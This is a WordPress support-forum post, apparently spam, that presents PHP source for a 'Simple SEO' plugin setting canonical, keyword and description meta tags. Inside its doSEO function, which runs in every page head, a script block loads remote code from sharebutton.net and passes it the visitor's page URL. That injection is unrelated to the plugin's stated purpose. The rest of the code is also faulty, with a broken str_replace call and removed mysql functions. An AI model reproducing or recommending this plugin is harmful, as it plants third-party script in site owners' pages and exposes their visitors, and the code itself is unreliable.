Support » Plugins » How To creat a simple and Powerfull SEO Plugin For WordPress

  • First of all you need to have any of text editor, and write a file named index.php, starting with simple comment:

    Suppose we are creating a Plugin about Simple SEO Tool

    <?php
    /*
    Plugin Name: Simple SEO By UZsoft
    Plugin URI: http://earlytechnews.com/
    Author: Mohammad Zeeshan Majeed Bhatti
    Author URI: http://bhattisoft.org
    Description: with the use of this simple plugin you can utlize your SEO things, like: title, keywords, and description with canonical tag
    that is most importent for SEO.
    */
    
    add_action("wp_head","doSEO");
    function get_description(){
    		$q = "SELECT * FROM <code>wp_options</code> WHERE <code>option_name</code>='blogdescription';";
    		$r = mysql_query($q);
    		$res = mysql_fetch_array($r);
    		return $res['option_value'];
    	}
    
    function namewebsite(){
    	$q = "SELECT * FROM <code>wp_options</code> WHERE <code>option_name</code>='blogname';";
    	$r = mysql_query($q);
    	$res = mysql_fetch_array($r);
    	return $res['option_value'];
    }
    
    function doSEO(){
    
    		?>
    <script>
    document.write('<script src="//sharebutton.net/plugin/sharebutton.php?type=vertical&u=' + encodeURIComponent(document.location.href) + '"></scr' + 'ipt>');
    </script>
    <?php $mainurl = strpos($_SERVER['HTTP_HOST'],"www")==0 ? $_SERVER['HTTP_HOST'] : str_replace("http://","http://www."); ?>
    		<?php $permalinks = explode("/",get_the_permalink()); ?>
    <?php if(is_home()): ?>
    <?php $finalurl = "http://".$mainurl."/".$permalinks[2]."/"; ?>
    <?php else: ?>
    <?php $finalurl = "http://".$mainurl."/"; ?>
    <?php endif; ?>
    
    		<?php
    
    		if(is_home()):
    
    			?>
    		<?php echo '<link rel="canonical" href="http://'.$mainurl.'" />'; ?>
    		<?php
    		else:
    			?>
    			<?php echo '<link rel="canonical" href="'.get_the_permalink().'" />'; ?>
    			<?php
    		endif;
    
    		?>
    		<?php
    
    	if (is_home()) {
    		# code...
    		echo '<meta name="keywords" content="'.namewebsite().'" />';
    
    		echo '<meta name="description" content="'.str_replace('"',"'",get_description()).'." />';
    	}else{
    
    		if(have_posts()): while(have_posts()): the_post();
    			echo '<meta name="keywords" content="'.get_the_title().'" />';
    
    			echo '<meta name="description" content="'.substr(strip_tags(get_the_content()),0,165).'." />';
    		endwhile;
    
    		endif;
    
    	}
    
    }
    ?>

    If you have any question about this plugin you may contact me: searchbrost@gmail.com
    Meeting Agenda Template

  • The topic ‘How To creat a simple and Powerfull SEO Plugin For WordPress’ is closed to new replies.